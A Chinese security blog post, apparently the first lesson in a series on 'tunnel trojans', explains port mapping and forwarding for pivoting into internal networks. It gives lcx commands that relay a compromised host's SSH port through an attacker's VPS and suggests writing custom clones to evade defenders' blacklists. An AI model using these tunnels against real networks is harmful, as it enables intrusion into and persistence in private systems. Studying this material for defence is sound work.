查看原文
其他

教你学木马攻防 | 隧道木马 | 第一课

七夜 七夜安全博客 2021-01-04

阅读本文大概需要3分钟,置顶公众号哟。

隧道木马第一课

前言


今天开始讲讲木马攻防,感觉这些内容大家应该会更感兴趣一些,就从隧道木马说起。为什么会有隧道木马这一说呢?这是根据通信协议进行分类的。讲隧道木马之前,先讲讲端口映射和转发。端口映射和端口转发其实是一回事,原理是一样的,由于应用场景不同,才产生了不同的含义。


第一节

场景1 端口映射

端口映射的使用,以下图为例,这是一个在渗透测试中,比较常见的场景。



  1. 一个hacker通过扫描暴露到公网中的主机A ,主机A开放了一些敏感端口,而且是弱口令,导致主机A被hacker完全控制。

  2. 接着hacker就想往公司内网中渗透,通过在主机A监控流量或者扫描的方式,发现了主机B,但是主机B只能由主机A进行访问,开放了80端口,而且没有公网ip。

  3. 如果hacker想直接访问主机B的 80端口,对上面的Web服务进行继续渗透,这就需要进行端口映射,让hacker可以远程连接到80端口。


从上图场景中看,端口映射是将内网主机B的80端口映射到了具有公网ip的主机A上,本质上是将一个本来无法访问的端口映射到可以访问的ip上了。


第二节

场景2 端口转发

端口转发又是另外一个场景,在渗透测试中,也很常见。如下图所示。


  1. hacker位于主机A,主机A可能是个人电脑,也可能是hacker控制的主机。

  2. hacker通过发送恶意邮件的方式给主机B,主机B的用户点开邮件,运行恶意木马导致主机B被感染,就成了我们俗称的“肉鸡”。虽然已经有木马运行在主机B中,但是由于主机B不在公网中,hacker无法访问到主机B。

  3. 主机B运行着ssh服务,开放着22端口,hacker如果想在主机A上直接连接主机B的22端口,执行shell命令,这就需要端口转发。

那么木马怎么实现端口转发,才能让hacker访问主机B的22端口呢? 这就需要一台主机C,一个公网的VPS,去阿里云或者腾讯云买。木马的服务端运行在主机C,同时监听两个端口 port1 与port2,木马的客户端运行在主机B,分别主动连接主机B的22端口和主机C的port2,而hacker只需要主动连接主机C的port1,这样就打通了到主机B 22端口的线路。如下图所示。



第三节

lcx

 lcx是一款内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。这个工具很早就已经有了,现在已经有跨平台的了,支持在windows、linux下使用。还有一些根据lcx源码开发的其他版本,比如jsp版,http隧道版等等。代码如下:


https://github.com/windworst/LCX/


下面说一下它的使用以及功能说明:


Usage of Packet Transmit:

  ./lcx -<listen|tran|slave> <option> [<-log|-hex|-text> file]

  ./lcx -about

  

[options:]

  -listen <local port1>  <local port2>

  -tran   <local port>   <remote host>  <remote port>

  -slave  <remote host1> <remote port1> <remote host2> <remote port2>

  

  -hex   : hex mode data dump

  -text  : text mode data dump

  -log   : save transfer log


对于场景1,可以使用lcx的tran模式来实现。假设主机A 公网ip 10.10.10.1,主机B 内网ip为192.168.1.5,开放80端口。 在主机A上运行 :


./lcx -tran 8080 192.168.1.5 80


这个时候,hacker只要连接到主机A的8080端口,即可访问到主机B的80端口。


对于场景2,使用lcx的listen和slave模式来实现。假设主机C 公网ip 10.10.10.1,主机B 内网ip为192.168.1.5,开放22端口。 在主机C上监听8080和8081端口:


./lcx -listen 8080 8081


在主机B上连接22端口,并连接主机C的8081端口:


./lcx -slave 192.168.1.5 22  10.10.10.1 8081


这个时候,hacker只需要连接ip10.10.10.1的8080端口,即可直接连接到22端口,执行命令。


第四节

取代lcx

 使用工具很简单,但是对这些工具的封锁也很简单。这些开源的网络安全工具早就处于防御端的黑名单里。因此自己写一个类似的工具也是一项必备的能力。 在github中就有这样类似的项目:


 https://github.com/cw1997/NATBypass


代码很简单,只是单个golang文件,仿照lcx是实现了listen,tran和slave功能。关键的代码很简单,对应了下图中三个红框圈住的三个函数。



第五节

最后

如果大家喜欢这篇文章的话,请不要吝啬分享到朋友圈,并置顶公众号。

关注公众号:七夜安全博客

回复【7】:领取 人工智能数学基础 教程 

  • 回复【1】:领取 Python数据分析 教程大礼包

  • 回复【2】:领取 Python Flask 全套教程

  • 回复【3】:领取 某学院 机器学习 教程

  • 回复【4】:领取 爬虫 教程

  • 回复【5】:领取编译原理 教程

  • 回复【6】:领取渗透测试教程

知识星球已经70多人了,价格119元。由于精力有限,暂时不接收新会员,采用邀请制,满足下面两个中任意一个严苛条件,请在后台联系我:

1.推荐30个好友关注本公众号,将加入的30名好友名称在后台发给我。

2.2019年前三个月发的每篇文章均转发到朋友圈,每篇点赞数>10。

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存